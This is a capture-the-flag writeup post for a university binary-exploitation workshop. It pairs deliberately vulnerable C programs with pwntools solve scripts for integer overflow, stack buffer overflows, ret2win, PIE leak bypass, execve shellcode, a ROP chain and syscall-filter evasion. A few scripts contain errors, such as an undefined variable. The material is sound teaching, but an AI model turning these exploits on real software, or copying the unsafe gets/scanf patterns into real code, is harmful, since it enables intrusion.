Securinets FST CTF-101
Last week, I hosted a binary exploitation workshop at the Faculty of Sciences of Tunis, put together in collaboration between FL1TZ and Securinets FST. I wrote 15 pwn challenges for the accompanying CTF, and x1NF3RNOx contributed with 4 more.
This post contains detailed writeups for all the pwn challenges from that event, explaining the vulnerabilities and exploitation techniques step by step.
Integer Overflow
#include stdio.h;
#include stdlib.h;
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
int num1, num2, sum;
while(1) {
printf("Enter first negative number: ");
scanf("%d", &num1);
while (getchar() != '\n');
if(num1 < 0) break;
printf("Invalid input. ");
}
while(1) {
printf("Enter second negative number: ");
scanf("%d", &num2);
while (getchar() != '\n');
if(num2 < 0) break;
printf("Invalid input. ");
}
sum = num1 + num2;
if(sum > 0) {
system("/bin/sh");
} else {
printf("Sum: %d\n", sum);
}
return 0;
}
Explanation
This program asks for 2 negative integers, if their sum is positive we get a shell --> This is a straightforward challenge demonstrating integer overflow, a common vulnerability in programs that handle numeric calculations.
Solution
We can leverage integer overflow by providing INT_MIN: -2147483648 for the first input and -1 for the second. When these numbers are added, they cause an integer underflow resulting in a positive value.
Flag: FL1TZ{8ccb91494a52662d3f070c2b92f13a7d}
Pwntools_1
#include stdio.h;
#include stdlib.h;
#include time.h;
#include unistd.h;
#include signal.h;
void alarm_handler(int sig) {
_exit(0);
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
signal(SIGALRM, alarm_handler);
srand(time(0));
int a = (rand() % 9000000) + 1000000;
int b = (rand() % 9000000) + 1000000;
int c = (rand() % 9000000) + 1000000;
printf("Solve for x: %dx - %d = %d\n", a, b, c);
alarm(2);
int x;
scanf("%d", &x);
if(x == (c + b)/a) {
system("/bin/sh");
}
return 0;
}
Explanation
The program generates a simple linear equation with random coefficients and gives only 2 seconds to solve it, making manual calculation impractical.
Solution
Since we have to solve the equation ax - b = c for x in under 2 seconds, we need to use a script. The equation rearranged gives us x = (c + b)/a.
from pwn import *
import re
def solve_equation(equation):
match = re.match(r"Solve for x: (\d+)x - (\d+) = (\d+)", equation)
if not match:
raise ValueError("Couldn't parse the equation")
a = int(match.group(1))
b = int(match.group(2))
c = int(match.group(3))
x = (c + b) // a
return x
def main():
p = process('./MyProgram')
try:
equation = p.recvline().decode().strip()
log.info(f"Equation: {equation}")
solution = solve_equation(equation)
log.success(f"Solution: x = {solution}")
p.sendline(str(solution).encode())
p.interactive()
except Exception as e:
log.error(f"Error: {e}")
finally:
p.close()
if __name__ == "__main__":
main()
Flag: FL1TZ{6ac3c9f53505f451ea7beefbe0adca46}
Linux_1
#include stdio.h;
#include string.h;
#include stdlib.h;
int contains_forbidden(const char *str) {
const char *forbidden[] = {"sh", "bash", "dash", "zsh", "ksh", "csh", "tcsh", "fish", NULL};
for (int i = 0; forbidden[i]; i++) {
if (strstr(str, forbidden[i])) {
return 1;
}
}
return 0;
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
char buf[256];
printf("Enter command: ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
if (contains_forbidden(buf)) {
fprintf(stderr, "Error: Forbidden command\n");
return 1;
}
system(buf);
return 0;
}
Explanation
This challenge introduces command execution and filtering. The program allows you to run any command except those containing shell names like sh, bash... It's designed to test your knowledge of basic Linux commands.
Solution
The goal is to read the flag file in the current directory. Since we can't spawn a shell directly, we can simply use the cat flag.txt command.
Flag: FL1TZ{5d2e797e77364f82b4ff36b99e786f9f}
basic_bof
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void print_stack(void *address, int range) {
printf("\nStack Layout (around %p):\n", address);
printf("Address\t\tValue\t\tASCII\n");
printf("----------------------------------------\n");
unsigned int *ptr = (unsigned int *)address;
for (int i = -range/2; i < range/2; i++) {
printf("%p\t0x%08x\t", ptr+i, *(ptr+i));
unsigned char *bytes = (unsigned char *)(ptr+i);
for (int j = 0; j < 4; j++) {
if (bytes[j] >= 32 && bytes[j] <= 126) {
putchar(bytes[j]);
} else {
putchar('.');
}
}
putchar('\n');
}
}
int main(int argc, char *argv[]) {
int secret = 0x1336;
char buffer[32];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("=== 64-bit Buffer Overflow Challenge ===\n");
printf("Objective: Overflow the buffer to change secret to 0x1337\n\n");
printf("[Memory Addresses]\n");
printf("buffer @ %p\n", buffer);
printf("secret @ %p (value: 0x%x)\n", &secret, secret);
print_stack(buffer, 25);
printf("\nEnter your payload: ");
fflush(stdout);
read(0,buffer,48);
printf("\n[After Overflow]\n");
printf("secret = 0x%x\n", secret);
print_stack(buffer, 25);
if (secret == 0x1337) {
printf("\nCongratulations! You have admin access now :) \n");
system("/bin/sh");
} else {
printf("\nsecret is 0x%x, but needs to be 0x1337\n", secret);
}
return 0;
}
Explanation
This is an introductory buffer overflow challenge. The program declares a buffer with a fixed size but reads more data than it can hold. This creates a classic buffer overflow vulnerability where we can overwrite adjacent memory, including the secret variable.
Solution
The challenge helpfully prints the memory addresses of the buffer and the secret variable. We need to calculate the offset between them and craft a payload that overwrites secret with the value 0x1337.
Example Output:
[Memory Addresses]
buffer @ 0x7ffdf2c50130
secret @ 0x7ffdf2c5015c (value: 0x1336)
The offset between buffer and secret is: 0x7ffdf2c5015c - 0x7ffdf2c50130 = 0x2c (44 bytes)
from pwn import*
p = process('./main')
padding = b'A' * 0x2c
payload = padding + p64(0x1337)
p.sendline(payload)
p.interactive()
Flag: FL1TZ{34SY_B0F}
baby_jail
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
#include <stdio.h>
#include <unistd.h>
void vuln() {
char buffer[27];
printf("Can you reveal my secret !!! just escape \n");
printf("GL :)\n");
fflush(stdout);
read(0, buffer, 27);
printf("Your stuck !!!! next time :< \n");
void (*ret)() = (void(*)())buffer;
ret();
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Explanation
This challenge introduces shellcode execution. The program reads user input into a buffer and then treats that buffer as executable code by casting it to a function pointer and calling it. With the stack being executable (note the security flags above), we can provide shellcode that will be executed.
Solution
We need to craft shellcode that's small enough to fit within the 27-byte buffer constraint and executes a shell or reads the flag.
from pwn import*
binary.context = ELF('./main') # Important so pwntools know the architecture to use when assembling our instructions
p = process()
payload = asm("""
xor rsi, rsi
xor rdx, rdx
mov rbx, 0x0068732f6e69622f # /bin/sh\x00 in reverse order
push rbx
mov rdi, rsp
mov al, 0x3b
cdq # Sign extend of eax
syscall
""")
p.sendline(payload)
p.interactive()
Flag: FL1TZ{34SY_J41L}
Ret2Win
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
__asm__("and $0xFFFFFFFFFFFFFFF0, %rsp"); // Don't worry about this
system("/bin/sh");
}
void vulnerable() {
puts("What do you want to tell me: ");
char buffer[16];
gets(buffer);
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
vulnerable();
return 0;
}
Explanation
This challenge introduces the classic "return-to-win" technique. The program contains a vulnerable function that uses gets() (which doesn't perform bounds checking) and a convenient win() function that spawns a shell. Our goal is to overflow the buffer and redirect execution to the win() function.
The win() function even aligns the stack for us, preventing the common system() segfault issue when the stack isn't properly aligned.
Solution
An easy way to find the exact offset to the saved return address is to examine the assembly code
objdump -M intel -d MyProgram
401187: 48 8d 45 f0 lea rax,[rbp-0x10]
40118b: 48 89 c7 mov rdi,rax
40118e: b8 00 00 00 00 mov eax,0x0
401193: e8 b8 fe ff ff call 401050 <gets@plt>
We can see that gets writes to rbp-0x10, so the offset to the saved return address is 0x10(buffer) + 0x8(saved rbp) = 0x18 (24 bytes).
from pwn import*
elf = ELF('./MyProgram')
p = process('./MyProgram')
padding = b'A' * 0x18
payload = padding + p64(elf.sym['win'])
p.sendline(payload)
p.interactive()
Flag: FL1TZ{08aa2fc0f9a184fad51085effe3757b4}
Mind reader
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define LENGTH 16
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
char rand_str[LENGTH];
char input[LENGTH];
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
srand(time(0));
for (int i = 0; i < LENGTH; i++) {
rand_str[i] = charset[rand() % (sizeof(charset) - 1)];
}
rand_str[LENGTH] = '\0';
printf("You have to match the string I am thinking of (or do you?): ");
scanf("%s", input);
input[strcspn(input, "\n")] = '\0';
if (strcmp(input, rand_str) == 0) {
system("/bin/sh");
} else {
printf("Wrong!\n");
}
return 0;
}
Explanation
This challenge combines randomness with a buffer overflow vulnerability. The program generates a random string and asks the user to match it (which would be practically impossible). However, the use of scanf("%s", input) without bounds checking creates a buffer overflow vulnerability.
Solution
Since guessing the random string would be virtually impossible, we need to leverage the buffer overflow vulnerability. The key insight is understanding how strcmp() works - it compares strings until it finds a null byte.
By providing a payload of null bytes that overflow into rand_str, we can make both strings start with null bytes, causing strcmp() to immediately return 0 (indicating the strings are equal).
from pwn import*
p = process('./MyProgram')
payload = b'\x00' * 0x20
p.sendline(payload)
p.interactive()
Flag: FL1TZ{49fba678476970079ef6679270e49ecd}
Controlling the flow
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
char first[16] = "unmodified";
char second[16];
printf("Enter input: ");
scanf("%s", second);
second[strcspn(second, "\n")] = '\0';
printf("First: %s\nSecond: %s\n", first, second);
if(strcmp(first, "fl1tz") == 0) {
system("/bin/sh");
}
return 0;
}
Explanation
This challenge demonstrates how buffer overflows can be used to modify adjacent variables on the stack. The program initializes first to "unmodified" and provides a shell if first equals "fl1tz". The vulnerability lies in the unchecked scanf() call.
Solution
objdump -M intel -d MyProgram
...
1242: 48 8d 45 e0 lea rax,[rbp-0x20] # second
1246: 48 8d 15 c8 0d 00 00 lea rdx,[rip+0xdc8] # 2015 <_IO_stdin_used+0x15>
124d: 48 89 d6 mov rsi,rdx
1250: 48 89 c7 mov rdi,rax
1253: e8 f8 fd ff ff call 1050 <strcspn@plt>
...
127c: 48 8d 45 f0 lea rax,[rbp-0x10] # first
1280: 48 8d 15 a6 0d 00 00 lea rdx,[rip+0xda6] # 202d <_IO_stdin_used+0x2d>
1287: 48 89 d6 mov rsi,rdx
128a: 48 89 c7 mov rdi,rax
128d: e8 ce fd ff ff call 1060 <strcmp@plt>
...
From the assembly code, we can see that second is at rbp-0x20 and first is at rbp-0x10, giving us an offset of 0x10 (16 bytes).
from pwn import*
p = process('./MyProgram')
padding = b'A' * 0x10
payload = padding + b'fl1tz'
p.sendline(payload)
p.interactive()
Flag: FL1TZ{ea6e0d1afaead0bf9004f13548b4e961}
May the FORCE be with you
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
srand(time(0));
int num = rand() % 101;
int guess;
printf("Guess the number (0-100): ");
scanf("%d", &guess);
if(guess == num) {
system("/bin/sh");
} else {
printf("Wrong! The number was %d\n", num);
}
return 0;
}
Explanation
This challenge introduces the concept of predictable randomness. The program generates a "random" number using the current time as a seed, making it deterministic and predictable if we know the seed value.
Solution
There are two approaches to solving this challenge:
- Brute force approach:
from pwn import*
while True:
p = process('./MyProgram')
try:
guess = randint(0, 100)
p.recvuntil(b"Guess the number (0-100): ")
p.sendline(str(guess).encode())
p.sendline(b'echo "SUCCESS"')
if b'SUCCESS' in p.recv(timeout=1):
print(f"\nFound correct number: {guess}")
p.interactive()
break
except:
pass
finally:
p.close()
- Seed prediction approach: If we have access to the same libc as the remote server, we can predict the random number by using the same seed.
import ctypes
import time
from pwn import *
libc = ELF("./libc.so.6")
p = process('./MyProgram')
current_time = int(time.time())
libc.srand(current_time)
predicted_num = libc.rand() % 101
p.recvuntil(b"Guess the number (0-100): ")
p.sendline(str(predicted_num).encode())
p.interactive()
Flag: FL1TZ{fa9a89683ddf5e68dc1613b0833604a0}
Win
#include <stdio.h>
#include <stdlib.h>
void win() {
__asm__("and $0xFFFFFFFFFFFFFFF0, %rsp"); // Don't worry about this
system("/bin/sh");
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
printf("main() address: %p\n", main);
printf("Enter function address to call: ");
void (*func)();
unsigned long addr;
scanf("%lx", &addr);
func = (void (*)())addr;
func();
return 0;
}
Explanation
This challenge introduces the concept of code pointer manipulation. The program leaks the address of main() and then asks for an address to call as a function. We need to calculate the address of win() based on the leaked address.
Solution
We can use the leaked address of main() along with the offsets from the binary to calculate the address of win():
from pwn import*
elf = context.binary = ELF('./MyProgram')
p = process()
p.recvuntil(b'main() address: ')
leak = int(p.recvline().strip(), 16)
win_add = leak - elf.sym['main'] + elf.sym['win']
p.sendline(hex(win_add))
p.interactive()
Flag: FL1TZ{0ce475ac41652e732fdc38d2fa22e073}
Ret2Win_2
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void win() {
__asm__("and $0xFFFFFFFFFFFFFFF0, %rsp"); // Don't worry about this
system("/bin/sh");
}
void vulnerable();
int main() {
vulnerable();
return 0;
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void vulnerable() {
setup(); // Don't mind this
char buffer[6];
printf("main() address: %p\n", main);
printf("Enter your input: ");
fflush(stdout);
gets(buffer);
}
Explanation
This challenge combines a buffer overflow vulnerability with Position Independent Executable (PIE) protection. PIE randomizes the base address of the executable, making it harder to determine the absolute address of functions. However, the program leaks the address of main(), which allows us to calculate the address of the win() function.
Solution
By determining the offset from the assembly code and using the leaked address, we can craft a payload that redirects execution to win():
objdump -M intel -d MyProgram
1261: 48 8d 45 fa lea rax,[rbp-0x6]
1265: 48 89 c7 mov rdi,rax
1268: b8 00 00 00 00 mov eax,0x0
126d: e8 de fd ff ff call 1070 <gets@plt>
The offset is 0x6 (buffer size) + 0x8 (saved rbp) = 0xe (14 bytes)
from pwn import*
elf = context.binary = ELF('./MyProgram')
p = process()
p.recvuntil(b'main() address: ')
leak = int(p.recvline().strip(), 16)
win_add = leak - elf.sym['main'] + elf.sym['win']
payload = b'A' * 0xe + p64(win_add)
p.sendline(payload)
p.interactive()
Flag: FL1TZ{bb6ca79efcca1da7983bb569dd6df68c}
x86_64 Assembly
Example Output:
win() function address: 0x63e4644742a9
Enter your assembly instructions (end with empty line):
>
Explanation
This challenge tests your x86_64 assembly knowledge. The program provides the address of a win function and expects you to write assembly code that jumps to that function.
Solution
We need to write assembly that loads the provided address into a register and jumps to it:
Example Solve:
win() function address: 0x572f70ddb2a9
Enter your assembly instructions (end with empty line):
> mov rax, 0x572f70ddb2a9
> jmp rax
>
Executing 12 bytes of shellcode:
\x48\xb8\xa9\xb2\xdd\x70\x2f\x57\x00\x00\xff\xe0
Congratulations! You called the win function at 0x572f70ddb2a9!
Flag: FL1TZ{646f8ec4065b3443323a5903418ea64c391c404aa60275fb9c30ae801440730f}
you have to use the FORCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup(); // Don't mind this
srand(time(0));
int num = rand() % 10001;
int guess;
printf("Guess the number (0-10000): ");
scanf("%d", &guess);
if(guess == num) {
system("/bin/sh");
} else {
printf("Wrong! The number was %d\n", num);
}
return 0;
}
Explanation
This challenge is similar to "May the FORCE be with you" but with a much larger range (0-10000 instead of 0-100), making manual guessing impractical. It reinforces the need for automation in exploitation.
Solution
The solution approaches are the same as for the earlier challenge - either brute force or prediction via the same seed.
Flag: FL1TZ{646f8ec4065b3443323a5903418ea64c391c404aa60275fb9c30ae801440730f}
Jmp2Win
Example Output:
You don't need to read MyProgram.c for this challenge
the following is the disassembly of the first part of the win function (so you know where to jump to):
55 push rbp
48 89 e5 mov rbp,rsp
48 8d 05 74 0e 00 00 lea rax,[rip+0xe74]
48 89 c7 mov rdi,rax
e8 94 fe ff ff call 1030
48 8d 05 78 0e 00 00 lea rax,[rip+0xe78]
48 89 c7 mov rdi,rax
e8 85 fe ff ff call 1030
bf 00 00 00 00 mov edi,0x0
e8 cb fe ff ff call 1080
win function is at: 0x64c1373d91cc
Enter address to jump to (in hex, e.g., 0x401234):
Explanation
This challenge tests your understanding of function disassembly. The program provides the address of a win function along with its disassembly. However, the function calls exit() before it does anything useful. We need to jump to a point after the exit() call.
Solution
We need to count the bytes in the disassembled function up to the exit() call, and then jump to an address beyond that point:
Number of bytes until the exit() call: 44
from pwn import*
p = process('./MyProgram')
p.recvuntil(b'at: ')
leak = int(p.recvline().strip(), 16)
jmp = leak + 44 # Jump past the exit() call
p.sendline(hex(jmp).encode())
p.interactive()
Flag: FL1TZ{5406bee49d773c35907d0aafd8bdfe1c81d335e815e1a5eb0670a5d50693ded3}
random_thoughts
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int fd = 0;
char flag[0x50];
void win() {
fd = open("flag.txt", O_RDONLY);
if (fd < 0) {
puts("Failed to open flag.txt");
exit(1);
}
read(fd, flag, 0x50);
puts(flag);
close(fd);
return;
}
void setup();
void vuln();
int main() {
vuln();
return 0;
}
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
char *gets(char *s);
void vuln() {
setup();
long long cookie = 0xdeadbeefcafebabe;
char buffer[16];
printf("people call me random but there's a method to my madness a hidden pattern behind the chaos\n");
printf("This is just a little sample of my randomness %p\n", main);
printf("Input =>");
fflush(stdout);
gets(buffer);
if (cookie != 0xdeadbeefcafebabe){
printf("Stack smashing detected !!!!");
exit(1);
}
}
Explanation
This challenge simulates stack canary protection, but with a fixed value (the cookie) rather than a random one. It also combines PIE protection with an address leak.
Solution
By examining the assembly, we can determine the memory layout and craft a payload that preserves the cookie value while still redirecting execution to win():
objdump -M intel -d main
1320: 48 8d 45 e0 lea rax,[rbp-0x20] # our input buffer
1324: 48 89 c7 mov rdi,rax
1327: e8 44 fd ff ff call 1070 <gets@plt>
132c: 48 b8 be ba fe ca ef movabs rax,0xdeadbeefcafebabe
1333: be ad de
1336: 48 39 45 f8 cmp QWORD PTR [rbp-0x8],rax # the canary
133a: 74 1e je 135a <vuln+0xaa>
From this, we can see that our buffer is at rbp-0x20 and the cookie is at rbp-0x8, giving us a padding of 0x18 bytes. After the cookie, we need 0x8 bytes more (saved rbp) before we reach the return address.
from pwn import*
elf = context.binary = ELF('./main')
p = process()
p.recvuntil(b'randomness ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - elf.sym['useful_stuff']
# Craft the payload:
# 0x18 bytes padding + preserved cookie + 0x8 bytes saved rbp + win address
payload = b'A' * 0x18 + p64(0xdeadbeefcafebabe) + b'A' * 0x8 + p64(win_add)
p.sendline(payload)
Flag: FL1TZ{s1mpl3_p1e_bypass}
x86_64 Assembly _No_Win_
Output:
Enter your assembly instructions (end with empty line):
>
Explanation
This challenge tests your ability to write shellcode from scratch. The program takes assembly instructions as input, assembles them, and executes the resulting machine code.
Solution
We need to write shellcode that calls the execve system call to spawn a shell.
Example Solve:
Enter your assembly instructions (end with empty line):
> mov rdi, 0x68732f6e69622f
> push rdi
> mov rdi, rsp
> xor rsi, rsi
> xor rdx, rdx
> mov rax, 0x3b
> syscall
>
Executing 29 bytes of shellcode:
\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
Flag: FL1TZ{19eb3e15e332d792200af021d4c281161fe04d980a93ebc77e4b6735aa6cd4d2}
x86_64 Assembly _No_Win_2
Enter your assembly instructions (end with empty line):
NOTE: Stack operations (push/pop) are not allowed. Try to write your shellcode without using the stack.
>
Explanation
This challenge is a variation of the previous one, but with an added restriction: we can't use stack operations like push and pop. This makes it more challenging to set up the arguments for the system call.
Solution
objdump -M intel -d MyProgram
...
1874: ff d2 call rdx
...
Since we can't use the stack directly, we need to be creative. By examining the disassembled code, we can see that rdx points to our shellcode. We can embed the "/bin/sh" string within our shellcode and reference it.
movabs r10, 0x68732f6e69622f --> 49 ba 2f 62 69 6e 2f 73 68 00
"/bin/sh\x00" starts at an offset of 0x2, so we can point rdi to rdx+0x2:
Example Solve:
Enter your assembly instructions (end with empty line):
NOTE: Stack operations (push/pop) are not allowed. Try to write your shellcode without using the stack.
> mov r10, 0x68732f6e69622f
> mov rdi, rdx
> add rdi, 0x2
> xor rsi, rsi
> xor rdx, rdx
> mov rax, 0x3b
> syscall
>
Executing 32 bytes of shellcode:
\x49\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x89\xd7\x48\x83\xc7\x02\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
Flag: FL1TZ{41dafe2e02bc17204857689ad1f505ccfb8dace4ed39a625ff56aae5058f7cdc}
puzzle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Assembly Analysis
obdjump -M intel -d main
0000000000001159 <gadget_pop_rdi_ret>:
1159: 5f pop rdi
115a: c3 ret
000000000000115b <gadget_pop_rax_ret>:
115b: 58 pop rax
115c: c3 ret
000000000000115d <gadget_pop_rsi_ret>:
115d: 5e pop rsi
115e: c3 ret
000000000000115f <gadget_pop_rdx_ret>:
115f: 5a pop rdx
1160: c3 ret
0000000000001161 <gadget_mov_rdi_rax_ret>:
1161: 48 89 07 mov QWORD PTR [rdi],rax
1164: c3 ret
0000000000001165 <gadget_syscall_ret>:
1165: 0f 05 syscall
1167: c3 ret
...
118e: 48 8d 05 ab 2e 00 00 lea rax,[rip+0x2eab] # 4040 <useful_stuff>
1195: 48 89 c6 mov rsi,rax
1198: 48 8d 05 e9 0e 00 00 lea rax,[rip+0xee9] # 2088 <_IO_stdin_used+0x88>
119f: 48 89 c7 mov rdi,rax
11a2: b8 00 00 00 00 mov eax,0x0
11a7: e8 94 fe ff ff call 1040 <printf@plt>
11ac: 48 8d 45 c0 lea rax,[rbp-0x40]
11b0: ba 00 01 00 00 mov edx,0x100
11b5: 48 89 c6 mov rsi,rax
11b8: bf 00 00 00 00 mov edi,0x0
11bd: e8 8e fe ff ff call 1050 <read@plt>
We can see that the program reads up to 0x100 bytes into a buffer at rbp-0x40, which is much larger than the buffer, allowing a buffer overflow. The binary also contains multiple gadget* functions.
Explanation
This challenge introduces Return-Oriented Programming (ROP), a technique used to bypass NX protection by chaining together existing code fragments (gadgets) to perform arbitrary operations.
The binary generously leaks the address of a symbol called useful_stuff, which helps us bypass PIE protection.
Solution
We'll create a ROP chain that executes execve("/bin/sh", NULL, NULL):
from pwn import*
elf = context.binary = ELF("./main")
p = process()
p.recvuntil(b'=> ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - elf.sym['useful_stuff']
payload = b'A' * 0x48 # padding to reach the return address
# Build our ROP chain
payload += p64(elf.sym['gadget_pop_rax_ret'])
payload += p64(0x68732f6e69622f) # "/bin/sh\x00" in little-endian
payload += p64(elf.sym['gadget_mov_rdi_rax_ret'])
payload += p64(elf.sym['gadget_pop_rdx_ret'])
payload += p64(0x0)
payload += p64(elf.sym['gadget_pop_rsi_ret'])
payload += p64(0x0)
payload += p64(elf.sym['gadget_pop_rax_ret'])
payload += p64(0x3b) # execve syscall number
payload += p64(elf.sym['gadget_syscall_ret'])
p.sendline(payload)
p.interactive()
Flag: FL1TZ{_rop_tosysc4ll}
x86 64
Assembly Analysis
objdump -M intel -d MyProgram
0000000000401000 <.text>:
401000: 48 31 c0 xor rax,rax
401003: 48 31 db xor rbx,rbx
401006: 48 31 c9 xor rcx,rcx
401009: 48 31 d2 xor rdx,rdx
40100c: 48 31 f6 xor rsi,rsi
40100f: 48 31 ff xor rdi,rdi
401012: 48 31 ed xor rbp,rbp
401015: 4d 31 c0 xor r8,r8
401018: 4d 31 c9 xor r9,r9
40101b: 4d 31 d2 xor r10,r10
40101e: 4d 31 db xor r11,r11
401021: 4d 31 e4 xor r12,r12
401024: 4d 31 ed xor r13,r13
401027: 4d 31 f6 xor r14,r14
40102a: 4d 31 ff xor r15,r15
40102d: 66 b8 00 00 mov ax,0x0
401031: 8e d8 mov ds,eax
401033: 8e c0 mov es,eax
401035: 8e e0 mov fs,eax
401037: 8e e8 mov gs,eax
401039: 0f 77 emms
40103b: 66 0f ef c0 pxor xmm0,xmm0
40103f: 66 0f ef c9 pxor xmm1,xmm1
401043: 66 0f ef d2 pxor xmm2,xmm2
401047: 66 0f ef db pxor xmm3,xmm3
40104b: 66 0f ef e4 pxor xmm4,xmm4
40104f: 66 0f ef ed pxor xmm5,xmm5
401053: 66 0f ef f6 pxor xmm6,xmm6
401057: 66 0f ef ff pxor xmm7,xmm7
40105b: 66 45 0f ef c0 pxor xmm8,xmm8
401060: 66 45 0f ef c9 pxor xmm9,xmm9
401065: 66 45 0f ef d2 pxor xmm10,xmm10
40106a: 66 45 0f ef db pxor xmm11,xmm11
40106f: 66 45 0f ef e4 pxor xmm12,xmm12
401074: 66 45 0f ef ed pxor xmm13,xmm13
401079: 66 45 0f ef f6 pxor xmm14,xmm14
40107e: 66 45 0f ef ff pxor xmm15,xmm15
401083: b8 01 00 00 00 mov eax,0x1
401088: bf 01 00 00 00 mov edi,0x1
40108d: 48 be 00 20 40 00 00 movabs rsi,0x402000
401094: 00 00 00
401097: ba 22 00 00 00 mov edx,0x22
40109c: 0f 05 syscall
40109e: b8 00 00 00 00 mov eax,0x0
4010a3: bf 00 00 00 00 mov edi,0x0
4010a8: 48 89 e6 mov rsi,rsp
4010ab: ba ff 00 00 00 mov edx,0xff
4010b0: 0f 05 syscall
4010b2: 49 89 c0 mov r8,rax
4010b5: 48 89 e6 mov rsi,rsp
4010b8: 4c 89 c1 mov rcx,r8
4010bb: e3 2c jrcxz 0x4010e9
4010bd: 66 81 3e 0f 05 cmp WORD PTR [rsi],0x50f
4010c2: 74 48 je 0x40110c
4010c4: 66 81 3e 80 cd cmp WORD PTR [rsi],0xcd80
4010c9: 74 41 je 0x40110c
4010cb: 66 81 3e cd 80 cmp WORD PTR [rsi],0x80cd
4010d0: 74 3a je 0x40110c
4010d2: 66 81 3e 34 af cmp WORD PTR [rsi],0xaf34
4010d7: 74 0a je 0x4010e3
4010d9: 66 81 3e 34 0f cmp WORD PTR [rsi],0xf34
4010de: 48 ff c6 inc rsi
4010e1: e2 da loop 0x4010bd
4010e3: 48 83 ee 50 sub rsi,0x50
4010e7: ff e6 jmp rsi
4010e9: b8 01 00 00 00 mov eax,0x1
4010ee: bf 01 00 00 00 mov edi,0x1
4010f3: 48 be 51 20 40 00 00 movabs rsi,0x402051
4010fa: 00 00 00
4010fd: 4c 89 c2 mov rdx,r8
401100: 0f 05 syscall
401102: b8 3c 00 00 00 mov eax,0x3c
401107: 48 31 ff xor rdi,rdi
40110a: 0f 05 syscall
40110c: b8 01 00 00 00 mov eax,0x1
401111: bf 01 00 00 00 mov edi,0x1
401116: 48 be 23 20 40 00 00 movabs rsi,0x402023
40111d: 00 00 00
401120: ba 28 00 00 00 mov edx,0x28
401125: 0f 05 syscall
401127: b8 3c 00 00 00 mov eax,0x3c
40112c: bf de c0 ad 0b mov edi,0xbadc0de
401131: 0f 05 syscall
Note
I meant for players to write self-mutating shellcode to bypass syscall checks, but I forgot to enable PIE and other mitigations—so most just did a simple jmp to a syscall.
Explanation
This challenge requires knowledge of shellcode detection evasion. The program takes shellcode input but filters out sequences that match common syscall instructions. We need to create a self-modifying shellcode that bypasses these checks.
Solution
The program essentially scans the input for syscall instructions like \x0f\x05, \xcd\x80, etc. One approach is to include a modified version of the syscall instruction in our shellcode, then have the shellcode modify itself to correct the instruction before executing it.
mov rdx, 0x0068732f6e69622f
push rdx
mov rax, 0x3b
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
